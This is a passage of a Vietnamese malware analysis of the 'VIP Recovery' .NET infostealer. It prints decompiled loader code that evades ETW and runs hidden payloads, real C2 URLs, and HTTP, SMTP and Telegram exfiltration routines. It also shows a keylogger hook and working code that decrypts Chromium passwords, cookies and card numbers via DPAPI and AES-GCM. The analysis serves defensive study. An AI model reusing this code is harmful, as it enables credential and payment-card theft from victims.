	SfLMnxxmiilFLzMGpIpPIuXZY.VirtualProtect(procAddress, (UIntPtr)((ulong)((long)array3.Length)), SfLMnxxmiilFLzMGpIpPIuXZY.PAGE_EXECUTE_READWRITE, out flNewProtect);
	Marshal.Copy(array3, 0, procAddress, array3.Length);
	SfLMnxxmiilFLzMGpIpPIuXZY.VirtualProtect(procAddress, (UIntPtr)((ulong)((long)array3.Length)), flNewProtect, out flNewProtect);
    //Tắt ETW (Event Tracing for Windows)
    //Làm cho EDR/Windows Defender khó giám sát hành vi process
	string text = "xxxxxxxxxxxxxxxxxxxxxxxxxxxx.exe";
	Assembly executingAssembly = Assembly.GetExecutingAssembly();
	string[] manifestResourceNames = executingAssembly.GetManifestResourceNames();
	for (int i = 0; i < manifestResourceNames.Length; i++)
	{
		string name = manifestResourceNames[i];
		if (!(name == text) && !string.IsNullOrWhiteSpace(name))
		{
			if (!name.EndsWith(".exe"))
			{
				if (!name.EndsWith(".bat"))
				{
					goto IL_1B2;
				}
			}
			try
			{
				File.WriteAllBytes(name, SfLMnxxmiilFLzMGpIpPIuXZY.HMWvDxDVffyUsKlWbhRabzJfZ(name));
				File.SetAttributes(name, FileAttributes.Hidden | FileAttributes.System);
				new Thread(delegate()
				{
					try
					{
						Process process = Process.Start(name);
						if (process != null)
						{
							process.WaitForExit();
						}
						File.SetAttributes(name, FileAttributes.Normal);
						File.Delete(name);
					}
					catch
					{
					}
				}).Start();
			}
			catch
			{
			}
		}
		IL_1B2:;
	}
    //load resource
	byte[] rawAssembly = SfLMnxxmiilFLzMGpIpPIuXZY.dPMnAxhLODQzBZVEZAPIStnyn(SfLMnxxmiilFLzMGpIpPIuXZY.JGXLjnGFkJdNWuQBaIaEumdcG(SfLMnxxmiilFLzMGpIpPIuXZY.HMWvDxDVffyUsKlWbhRabzJfZ(text), Convert.FromBase64String("u7yDWjgZXwo5dHJn5K+/MiwYucopcC1Cwstuq6DLEMU="), Convert.FromBase64String("7ky7DKUhBJo8sun7wTxhgQ==")));
    //giải mã ra payload chính sử dụng aes + gz
	string[] array4 = new string[0];
	try
	{
		array4 = ((args.Length > 0) ? args[0].Split(new char[]
		{
			' '
		}) : new string[0]);
	}
	catch
	{
	}
	MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint;
	try
	{
		entryPoint.Invoke(null, new object[]
        //thực thi
		{
			array4
        
		});
	}
	catch
	{
		entryPoint.Invoke(null, null);
	}
}

image image

Stage 4 - .NET2 analysis

image

Xem xét sơ qua 1 lượt, có vẻ file này cũng bị obfuscate -> Tiếp tục dùng tool NETReactorSlayer

image

Tuy có nhiều Class nhưng mình thấy chỉ có 4 class (6, 8, 9) chứa hầu hết các chức năng của con malware nên mình sẽ tập trung vào 3 class này.

I. Class 6

1. Cấu trúc & biến cấu hình chính

1
public static string string_0 = "http://varders.kozow.com:8081,http://aborters.duckdns.org:8081,http://anotherarmy.dns.army:8081";

-> Danh sách C2 / panel server (nhiều domain dynamic DNS).

1
private static Class6.KeyLogger keyLogger_0;

→ Instance keylogger toàn cục.

1
private static StringBuilder stringBuilder_0 = new StringBuilder();

→ Buffer lưu keylog.

1
public static string string_3 = ".txt";

→ Phần mở rộng file log.

1
public static string string_4;
→ Biến chứa chuỗi password / credential (sau đó được ghép vào log “PW…”).
1
public static string string_14 = "";

→ Buffer clipboard.

1
public static string string_15;

→ Đường dẫn file screenshot

1
private static string string_16 = "BsrOkyiChvpfhAkipZAxnnChkMGkLnAiZhGMyrnJfULiDGkfTkrTELinhfkLkJrkDExMvkEUCxUkUGr";

→ Key bí mật dùng để giải mã cấu hình (DES key được derive từ MD5 của chuỗi này).

1
private static string string_17 = "$$HASH##";

→ Marker / salt / token cho build.

1
2
private static string string_18 = "$CheckFile$"; 
private static string string_19 = "\$CheckTextEnabled$";

→ Placeholder được builder thay bằng “True”/”False” khi build stub (bật/tắt tính năng).

1
private static string string_21 = "False";

→ Cờ bật/tắt SSL khi gửi email (EnableSsl).

1
private static string string_22 = "True";

→ Cờ bật/tắt mailing nói chung (nếu “True” thì dùng SMTP).

1
2
3
4
5
6
7
8
9
private static string string_23 = "%is_FTP%";

private static string string_24 = "%is_Discord%";

private static string string_25 = "%is_Telegram%";

private static string string_26 = "%Telegram_Side%";

private static string string_27 = "%is_Panel%";

→ Placeholder để bật/tắt các kênh exfil (FTP, Discord, Telegram, panel…).

  1. Hệ thống mã hóa & upload 2.1 Hàm upload HTTP (multipart/form-data)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    
     public static void smethod_1(string string_61, byte[] byte_0, string string_62, string string_63, string string_64) 
     {
         try
         {
             string str = "---------------------------" + DateTime.Now.Ticks.ToString("x");
             HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(string_61);
             httpWebRequest.Method = "POST";
             httpWebRequest.ContentType = "multipart/form-data; boundary=" + str;
             using (Stream requestStream = httpWebRequest.GetRequestStream())
             {
                 byte[] bytes = Encoding.UTF8.GetBytes("\r\n--" + str + "\r\n");
                 byte[] bytes2 = Encoding.UTF8.GetBytes("\r\n--" + str + "--\r\n");
                 string s = string.Format("Content-Disposition: form-data; name=\"username\"{0}{1}{2}", "\r\n", "\r\n", string_64);
                 byte[] bytes3 = Encoding.UTF8.GetBytes(s);
                 requestStream.Write(bytes, 0, bytes.Length);
                 requestStream.Write(bytes3, 0, bytes3.Length);
                 string s2 = string.Format("Content-Disposition: form-data; name=\"content\"{0}{1}{2}", "\r\n", "\r\n", string_63);
                 byte[] bytes4 = Encoding.UTF8.GetBytes(s2);
                 requestStream.Write(bytes, 0, bytes.Length);
                 requestStream.Write(bytes4, 0, bytes4.Length);
                 string s3 = string.Format("Content-Disposition: form-data; name=\"file\"; filename=\"{0}\"{1}Content-Type: application/octet-stream{2}{3}", new object[]
                 {
                     string_62,
                     "\r\n",
                     "\r\n",
                     "\r\n"
                 });
                 byte[] bytes5 = Encoding.UTF8.GetBytes(s3);
                 requestStream.Write(bytes, 0, bytes.Length);
                 requestStream.Write(bytes5, 0, bytes5.Length);
                 requestStream.Write(byte_0, 0, byte_0.Length);
                 requestStream.Write(bytes2, 0, bytes2.Length);
             }
             using (HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse())
             {
                 if (httpWebResponse.StatusCode != HttpStatusCode.NoContent)
                 {
                 }
             }
         }
         catch (Exception ex)
         {
         }
     }
    

    -> gửi log / file screenshot / keylog lên url.

2.2 Mã hóa cấu hình / payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
	public static string smethod_17(string string_61, string string_62)
	{
		string result;
		try
		{
			DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider();
			MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
			byte[] array = new byte[8];
			byte[] sourceArray = md5CryptoServiceProvider.ComputeHash(Encoding.ASCII.GetBytes(string_62));
			Array.Copy(sourceArray, 0, array, 0, 8);
			descryptoServiceProvider.Key = array;
			descryptoServiceProvider.Mode = CipherMode.ECB;
			ICryptoTransform cryptoTransform = descryptoServiceProvider.CreateDecryptor();
			byte[] array2 = Convert.FromBase64String(string_61);
			string @string = Encoding.ASCII.GetString(cryptoTransform.TransformFinalBlock(array2, 0, array2.Length));
			result = @string;
		}
		catch (Exception ex)
		{
		}
		return result;
	}

-> Đoạn mã lấy MD5 của keyString → lấy 8 byte đầu làm key DES + Giải mã cipher từ Base64 + DES/ECB.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
	public static string smethod_3(string string_61, string string_62)
	{
		string result;
		using (Aes aes = Aes.Create())
		{
			aes.Key = Encoding.UTF8.GetBytes(string_62);
			aes.IV = new byte[16];
			ICryptoTransform transform = aes.CreateEncryptor(aes.Key, aes.IV);
			byte[] inArray;
			using (MemoryStream memoryStream = new MemoryStream())
			{
				using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write))
				{
					using (StreamWriter streamWriter = new StreamWriter(cryptoStream))
					{
						streamWriter.Write(string_61);
					}
					inArray = memoryStream.ToArray();
				}
			}
			result = Convert.ToBase64String(inArray);
		}
		return result;
	}

-> Dùng AES (Aes.Create()), key là Encoding.UTF8.GetBytes(keyString), IV = 16 byte 0 + Mã hóa plain và trả về Base64 → có thể dùng khi gửi dữ liệu lên panel (mã hóa thêm một lớp).

Ví dụ giải mã
1
2
3
4
5
6
Class6.smethod_4("JyxTBTUpBksniyThhJvAC")

public static string smethod_4(string string_61)
	{
		return Class6.smethod_17("vXLTtNPZK+Dfb+Yg9FV+EW1xYmFoLa7V", string_61);
	}

image

3. Thu thập thông tin hệ thống & IP/Geo

Trong class này có 1 vài hàm thu thập thông tin hệ thống, cụ thể là:
  • smethod_21() → trả My.Computer.Info.OSVersion (OS).

image

  • smethod_22() → tính TotalPhysicalMemory / 1GB → chuỗi “X.XX GB”. image
  • smethod_23() -> lấy external IP. image
  • smethod_24/25/26/27() -> Gọi https://reallyfreegeoip.org/xml/ qua XmlDocument.Load. Lấy CountryName, RegionCode, City, v.v.

=> Tất cả dùng để build phần string_28/string_29 phục vụ nhận diện máy nạn nhân.

1
2
3
	private static string string_28 = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(" \r\n\r\nPC Name:" + Environment.MachineName, Operators.AddObject("\r\nDate and Time: ", Class6.smethod_19())), Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject("\r\nClient IP: ", Class6.smethod_23()), "\r\n"), "Country Name: "), Class6.smethod_24()), "\r\n"), "CountryCode: "), Class6.smethod_28()), "\r\n"), "Region Name: "), Class6.smethod_26()), "\r\n"), "Region Code: "), Class6.smethod_25()), "\r\n"), "City: "), Class6.smethod_31()), "\r\n"), "TimeZone: "), Class6.smethod_27()), "\r\n"), "Latitude: "), Class6.smethod_29()), "\r\n"), "Longitude: "), Class6.smethod_30()), "\r\n"), "Stub Version: "), "4.4"), "\r\n")));

	private static string string_29 = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(" \r\n\r\nPC Name:" + Environment.MachineName, Operators.AddObject("\r\nDate and Time: ", Class6.smethod_19())), Operators.AddObject(Operators.AddObject("\r\nCountry Name: ", Class6.smethod_24()), "\r\n")));

4. Keylogger 4.1 Hook bàn phím

1
2
3
4
5
6
7
8
9
10
11
12
13
[DllImport("user32", ExactSpelling = true)]
private static extern int GetAsyncKeyState(int vKey); //Kiểm tra xem phím vKey đang được nhấn hay có được nhấn từ lần trước.
[DllImport("user32", ExactSpelling = true)]
private static extern IntPtr SetWindowsHookExA(int hook, KeyboardProc proc, IntPtr hMod, int threadId); //Cài đặt global keyboard hook.
[DllImport("user32", ExactSpelling = true)]
private static extern int CallNextHookEx(IntPtr hook, int code, int wParam, ref Keys key);
[DllImport("user32", ExactSpelling = true)]
private static extern int UnhookWindowsHookEx(IntPtr hook); //Gỡ bỏ hook khi chương trình đóng.
...
//Constructor
this._hookCallback = new KeyboardProc(this.ProcessKey); //ProcessKey sẽ được gọi mỗi lần người dùng nhấn phím
this._hook = SetWindowsHookExA(13, this._hookCallback, IntPtr.Zero, 0); // 13 = WH_KEYBOARD_LL //Cài hook bàn phím toàn hệ thống
this.InitializeCaptionLogging();

-> Đoạn mã cài một low-level keyboard hook để âm thầm thu thập mọi phím bấm và thông tin cửa sổ đang hoạt động.

4.2 Xử lý phím: ProcessKey & IdentifyKey image

-> ProcessKey nhận sự kiện phím từ hook: nếu là WM_KEYDOWN/WM_SYSKEYDOWN thì gọi hàm KeyDown/KeyUp tương ứng (Class6.smethod_40/41) để xử lý và ghi lại phím. -> IdentifyKey chuyển mã phím thành ký tự: phím đặc biệt đổi thành tag như [ESC], còn chữ số/ký tự thì xét Shift + CapsLock để quyết định viết hoa hay thường.

4.3 Gửi keylog

Gửi keylog được hàm smethod_39 đảm nhận

image

Nếu stringBuilder_0 không rỗng + string_23 == “True” -> gửi qua FTP:
  • Upload file text chứa keylog (“Recovered_KL” + “.txt”…).
    Nếu stringBuilder_0 không rỗng + string_22 == “True” & string_19 == “$CheckTextEnabled$” -> Gửi qua SMTP
  • From: string_30.
  • To: string_33.
  • Subject: “Pc Name: | / VIP Recovery \".
  • Đính kèm file Recovered_KL.txt (từ smethod_38()). image
    Nếu string_24 == “True” hoặc string_27 == “True”:
  • Gửi lên Discord / Panel bằng smethod_1 hoặc các hàm panel khác. 5 Clipboard stealer
    Các hàm smethod_32, smethod_33, smethod_34 có trách nhiệm đánh cắp dữ liệu từ clipboard cụ thể như sau:
  • smethod_32 — đóng gói dữ liệu clipboard
  • smethod_33 — lấy clipboard liên tục: Lấy dữ liệu qua Clipboard.GetText() + Thay . → (.) và http → (http) để tránh bị lọc nội dung
  • smethod_34: gửi clipboard đi bằng nhiều phương thức (Email, Gửi kèm file đính kèm, Gửi bằng HTTP POST tới panel)

6. Screenshot stealer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
	public static void smethod_35(object sender, EventArgs e)
	{
		string str = "Screenshot";
		string str2 = ".png";
		string path = Class2.کیKչ.FileSystem.SpecialDirectories.MyDocuments + "\\VIPRecovery";
		try
		{
			if (Directory.Exists(path))
			{
				Class6.string_15 = Class2.کیKչ.FileSystem.SpecialDirectories.MyDocuments + "\\VIPRecovery\\" + str + str2;
				Size blockRegionSize = new Size(Class2.کیKչ.Screen.Bounds.Width, Class2.کیKչ.Screen.Bounds.Height);
				Bitmap bitmap = new Bitmap(Class2.کیKչ.Screen.Bounds.Width, Class2.کیKչ.Screen.Bounds.Height);
				Graphics graphics = Graphics.FromImage(bitmap);
				graphics.CopyFromScreen(new Point(0, 0), new Point(0, 0), blockRegionSize);
				bitmap.Save(Class6.string_15);
				Class6.smethod_36();
				Class6.smethod_37();
			}
			else
			{
				Directory.CreateDirectory(path);
				Size blockRegionSize2 = new Size(Class2.کیKչ.Screen.Bounds.Width, Class2.کیKչ.Screen.Bounds.Height);
				Bitmap bitmap2 = new Bitmap(Class2.کیKչ.Screen.Bounds.Width, Class2.کیKչ.Screen.Bounds.Height);
				Graphics graphics2 = Graphics.FromImage(bitmap2);
				graphics2.CopyFromScreen(new Point(0, 0), new Point(0, 0), blockRegionSize2);
				bitmap2.Save(Class6.string_15);
				Class6.smethod_36();
				Class6.smethod_37();
			}
		}
		catch (Exception ex)
		{
		}
	}
Hàm này thực hiện nhiệm vụ chụp ảnh toàn bộ màn hình và lưu vào thư mục “VIPRecovery”
1
%USERPROFILE%\Documents\VIPRecovery\Screenshot.png
Sau khi chụp và lưu xong sử dụng hàm smethod_36() và smethod_37() để Upload screenshot về server attacker.

II. Class 8

Class6 là module điều khiển, giữ config, xây nội dung báo cáo và gửi ra ngoài (SMTP, FTP, Telegram, panel…), còn Class8 à module thu thập:
  • Quét cookies, password, credit card của hàng loạt browser Chromium.
  • Lấy Outlook / mail pass, thông tin hệ thống, product key… (ở phần dưới file).
  • Gửi file qua Telegram (smethod_0, smethod_1).
  • Dùng DPAPI & AES-GCM (BCrypt – Class7) để giải mã dữ liệu mới dạng v10. 1. Gửi file qua Telegram – smethod_0, smethod_1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
	private static void smethod_0(byte[] byte_2, string string_4, string string_5, string string_6)
	{
		try
		{
			WebClient webClient = new WebClient();
			string text = "------------------------" + DateTime.Now.Ticks.ToString("x");
			webClient.Headers.Add("Content-Type", "multipart/form-data; boundary=" + text);
			string @string = webClient.Encoding.GetString(byte_2);
			string s = string.Format("--{0}\r\nContent-Disposition: form-data; name=\"document\"; filename=\"{1}\"\r\nContent-Type: {2}\r\n\r\n{3}\r\n--{0}--\r\n", new object[]
			{
				text,
				string_4,
				string_5,
				@string
			});
			byte[] bytes = webClient.Encoding.GetBytes(s);
			webClient.UploadData(string_6, "POST", bytes);
		}
		catch (Exception ex)
		{
		}
	}
	private static void smethod_1(string string_4, string string_5, string string_6, string string_7)
	{
		string[] files = Directory.GetFiles(string_4, string_7);
		foreach (string text in files)
		{
			try
			{
				FileInfo fileInfo = new FileInfo(text);
				byte[] byte_ = File.ReadAllBytes(text);
				ServicePointManager.Expect100Continue = false;
				ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
				string string_8 = string.Concat(new string[]
				{
					"https://api.telegram.org/bot",
					string_5,
					"/sendDocument?chat_id=",
					string_6,
					"&caption=",
					"Pc Name: " + Environment.UserName + "\r\n\r\n\r\n\r\n"
				});
				Class8.smethod_0(byte_, fileInfo.Name, "application/x-ms-dos-executable", string_8);
			}
			catch (Exception ex)
			{
			}
		}
	}
Với smethod_0 tự build multipart/form-data upload
  • byte_2: nội dung file (bytes).
  • string_4: tên file (filename).
  • string_5: Content-Type (ví dụ “application/x-ms-dos-executable”).
  • string_6: URL Telegram API đầy đủ (đã chứa bot token + chat_id + caption).
    Với smethod_1 - quét thư mục rồi gửi hàng loạt file
  • string_4: đường dẫn thư mục.
  • string_5: bot token.
  • string_6: chat_id.
  • string_7: pattern file
    Hàm này dùng Directory.GetFiles(string_4, string_7) để duyệt từng file và dùng ReadAllBytes để đọc, sau đó gọi smethod_0 để upload từng file lên Telegram.
1
2
3
"https://api.telegram.org/bot" + string_5 +
"/sendDocument?chat_id=" + string_6 +
"&caption=" + "Pc Name: " + Environment.UserName + ...

2. Thu thập cookies từ Chromium browser

Bởi vì mẫu này lặp lại ở nhiều browser khác nhau nên mình sử dụng CocCoc để phân tích
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
	public static void smethod_16()
	{
		string path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\CocCoc\\Browser\\User Data\\Default\\Network\\Cookies";
		checked
		{
			try
			{
				if (File.Exists(path))
				{
					GClass1 gclass = new GClass1(path);
					gclass.method_6("cookies");
					int num = gclass.method_7() - 1;
					for (int i = 0; i <= num; i++)
					{
						string text = gclass.method_9(i, "host_key");
						string text2 = gclass.method_9(i, "name");
						string text3 = gclass.method_9(i, "path");
						string text4 = gclass.method_9(i, "encrypted_value");
						ulong value = Convert.ToUInt64(gclass.method_9(i, "expires_utc"));
						if (Class8.smethod_309(text4))
						{
							byte[] array = Class8.smethod_310(Conversions.ToString(Class8.smethod_3("CocCoc\\Browser")));
							if (array != null)
							{
								text4 = Class8.smethod_311(Encoding.Default.GetBytes(text4), array);
							}
						}
						else
						{
							text4 = Class8.smethod_312(Encoding.Default.GetBytes(text4));
						}
						string str = string.Concat(new string[]
						{
							"\r\n-------- / VIP Recovery \\ --------\r\nRecovered From: CocCoc\r\nHost: ",
							text,
							"\r\nName: ",
							text2,
							"\r\nPath: ",
							text3,
							"\r\nExpiry: ",
							Conversions.ToString(value),
							"\r\nValue: ",
							text4,
							"\r\n---------------------------------\r\n "
						});
						Class6.string_12 += str;
					}
				}
			}
			catch (Exception ex)
			{
			}
		}
	}
	public static string smethod_312(byte[] byte_2)
	{
		Class8.DATA_BLOB data_BLOB = default(Class8.DATA_BLOB);
		Class8.DATA_BLOB data_BLOB2 = default(Class8.DATA_BLOB);
		GCHandle gchandle = GCHandle.Alloc(byte_2, GCHandleType.Pinned);
		data_BLOB.pbData = gchandle.AddrOfPinnedObject();
		data_BLOB.cbData = byte_2.Length;
		gchandle.Free();
		string string_ = null;
		Class8.DATA_BLOB data_BLOB3 = default(Class8.DATA_BLOB);
		IntPtr intptr_ = 0;
		Class8.CRYPTPROTECT_PROMPTSTRUCT cryptprotect_PROMPTSTRUCT = default(Class8.CRYPTPROTECT_PROMPTSTRUCT);
		Class8.CryptUnprotectData(ref data_BLOB, string_, ref data_BLOB3, intptr_, ref cryptprotect_PROMPTSTRUCT, 0, ref data_BLOB2);
		checked
		{
			byte[] array = new byte[data_BLOB2.cbData + 1];
			Marshal.Copy(data_BLOB2.pbData, array, 0, data_BLOB2.cbData);
			string @string = Encoding.Default.GetString(array);
			return @string.Substring(0, @string.Length - 1);
		}
	}

Sau khi giải mã, chúng nối thành text và append vào Class6.string_12 (biến toàn cục chứa báo cáo cookies), sau này Class6 sẽ gửi đi (HTTP/Telegram/SMTP).

2. Cơ chế giải mã Chrome mới

Vào tháng 7/2024 Google Chrome đã bổ sung thêm tính năng mã hóa mới có tên ‘Chrome-App-Bound-Encryption-Decryption’. Vì vậy, attacker đã viết luôn 1 đoạn kiểm tra version và trích xuất mật khẩu theo cơ chế mới nằm tại smethod_309
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
	public static bool smethod_309(string string_4)
	{
		return Operators.CompareString(string_4.Substring(0, 3), "v10", false) == 0;
	}
public static string smethod_311(byte[] data, byte[] masterKey)
{
    // data = bytes của chuỗi "v10...."
    byte[] nonce = new byte[12];
    Array.Copy(data, 3, nonce, 0, 12);   // bỏ 3 ký tự 'v10', lấy 12 byte nonce

    // phần còn lại
    byte[] array = new byte[data.Length - 15];
    Array.Copy(data, 15, array, 0, data.Length - 15);

    // tách tag 16 byte cuối
    byte[] tag = new byte[16];
    byte[] ciphertext = new byte[array.Length - tag.Length];
    Array.Copy(array, array.Length - 16, tag, 0, 16);
    Array.Copy(array, 0, ciphertext, 0, array.Length - tag.Length);

    // dùng Class7 (BCrypt AES-GCM)
    var c7 = new Class7();
    string plain = Encoding.UTF8.GetString(
        c7.method_0(masterKey, nonce, null, ciphertext, tag)
    );
    return plain;
}

3. Thu thập password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
	public static void smethod_143()
	{
		string path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Chromium\\User Data\\Default\\Login Data";
		checked
		{
			try
			{
				if (File.Exists(path))
				{
					GClass1 gclass = new GClass1(path);
					gclass.method_6("logins");
					int num = gclass.method_7() - 1;
					for (int i = 0; i <= num; i++)
					{
						string text = gclass.method_9(i, "origin_url");
						string text2 = gclass.method_9(i, "username_value");
						string text3 = gclass.method_9(i, "password_value");
						if (Class8.smethod_309(text3))
						{
							byte[] array = Class8.smethod_310(Directory.GetParent(path).Parent.FullName);
							if (array != null)
							{
								text3 = Class8.smethod_311(Encoding.Default.GetBytes(text3), array);
							}
						}
						else
						{
							text3 = Class8.smethod_312(Encoding.Default.GetBytes(gclass.method_9(i, "password_value")));
						}
						if (Operators.CompareString(text2, "", false) != 0 & Operators.CompareString(text3, "", false) != 0)
						{
							string str = string.Concat(new string[]
							{
								"\r\n-------- / VIP Recovery \\ --------\r\nRecovered From: Chromium\r\nHost: ",
								text,
								"\r\nUSR: ",
								text2,
								"\r\nPSWD: ",
								text3,
								"\r\n---------------------------------\r\n "
							});
							Class6.string_4 += str;
						}
					}
				}
			}
			catch (Exception ex)
			{
			}
		}
	}

-> Key dùng để giải mã password/cookie/credit card lấy từ Local State (encrypted_key) → DPAPI → master AES key (smethod_310). -> IV (nonce): chính là 12 byte sau “v10” trong mỗi bản ghi (smethod_311). 6. Thu thập credit card

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
	public static void smethod_55()
	{
		string path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\CocCoc\\Browser\\User Data\\Default\\Web Data";
		checked
		{
			try
			{
				if (File.Exists(path))
				{
					GClass1 gclass = new GClass1(path);
					gclass.method_6("credit_cards");
					int num = gclass.method_7() - 1;
					for (int i = 0; i <= num; i++)
					{
						string text = gclass.method_9(i, "name_on_card");
						string text2 = gclass.method_9(i, "card_number_encrypted");
						string text3 = gclass.method_9(i, "expiration_month") + "/" + gclass.method_9(i, "expiration_year");
						if (Class8.smethod_309(text2))
						{
							byte[] array = Class8.smethod_310(Directory.GetParent(path).Parent.FullName);
							if (array != null)
							{
								text2 = Class8.smethod_311(Encoding.Default.GetBytes(text2), array);
							}
						}
						else
						{
							text2 = Class8.smethod_312(Encoding.Default.GetBytes(gclass.method_9(i, "card_number_encrypted")));
						}
						if (Operators.CompareString(text, "", false) != 0 & Operators.CompareString(text2, "", false) != 0 & Operators.CompareString(text3, "", false) != 0)
						{
							string str = string.Concat(new string[]
							{
								"\r\n-------- / VIP Recovery \\ --------\r\nRecovered From: CocCoc\r\nCard Name: ",
								text,
								"\r\nCard Number: ",
								text2,
								"\r\nExpiration Date: ",
								text3,
								"\r\n---------------------------------\r\n "
							});
							Class6.string_11 += str;
						}
					}
				}
			}
			catch (Exception ex)
			{
			}
		}
	}
Thông tin credit card nằm tại file sqlite Web Data, sau đó giải mã thông qua smethod_309/310/311/312 tương tự như password.
  1. DPAPI decrypt generic
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
	public static string smethod_312(byte[] byte_2)
	{
		Class8.DATA_BLOB data_BLOB = default(Class8.DATA_BLOB);
		Class8.DATA_BLOB data_BLOB2 = default(Class8.DATA_BLOB);
		GCHandle gchandle = GCHandle.Alloc(byte_2, GCHandleType.Pinned);
		data_BLOB.pbData = gchandle.AddrOfPinnedObject();
		data_BLOB.cbData = byte_2.Length;
		gchandle.Free();
		string string_ = null;
		Class8.DATA_BLOB data_BLOB3 = default(Class8.DATA_BLOB);
		IntPtr intptr_ = 0;
		Class8.CRYPTPROTECT_PROMPTSTRUCT cryptprotect_PROMPTSTRUCT = default(Class8.CRYPTPROTECT_PROMPTSTRUCT);
		Class8.CryptUnprotectData(ref data_BLOB, string_, ref data_BLOB3, intptr_, ref cryptprotect_PROMPTSTRUCT, 0, ref data_BLOB2);
		checked
		{
			byte[] array = new byte[data_BLOB2.cbData + 1];
			Marshal.Copy(data_BLOB2.pbData, array, 0, data_BLOB2.cbData);
			string @string = Encoding.Default.GetString(array);
			return @string.Substring(0, @string.Length - 1);
		}
	}

-> Hàm này + P/Invoke CryptUnprotectData cho phép giải mã mọi dữ liệu Windows bảo vệ bằng DPAPI CurrentUser, bao gồm:

  • Chrome/Edge cũ.
  • Một số app mail, VPN, FTP client, v.v.

III. Class 9 - module giải mã password Firefox/Thunderbird (NSS)

  1. smethod_2 – tìm browser Mozilla + init NSS
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
	public static long smethod_2(string string_0)
	{
		string text = Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Thunderbird\\";
		string text2 = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86) + "\\Mozilla Thunderbird\\";
		string text3 = Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\";
		string text4 = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86) + "\\Mozilla Firefox\\";
		string text5 = Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\SeaMonkey\\";
		string text6 = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86) + "\\SeaMonkey\\";
		string text7 = Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Comodo\\IceDragon\\";
		string text8 = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86) + "\\Comodo\\IceDragon\\";
		string text9 = Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Cyberfox\\";
		string text10 = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86) + "\\Cyberfox\\";
		string text11 = Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Pale Moon\\";
		string text12 = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86) + "\\Pale Moon\\";
		string text13 = Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Waterfox Current\\";
		string text14 = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86) + "\\Waterfox Current\\";
		string text15 = Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\SlimBrowser\\";
		string text16 = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86) + "\\SlimBrowser\\";
		string text17 = Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\";
		string text18 = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86) + "\\Mozilla Firefox\\";
		string text19 = Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Postbox\\";
		string text20 = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86) + "\\Postbox\\";
		string str = null;
		if (Directory.Exists(text))
		{
			str = text;
		}
		else if (Directory.Exists(text3))
		{
			str = text3;
		}
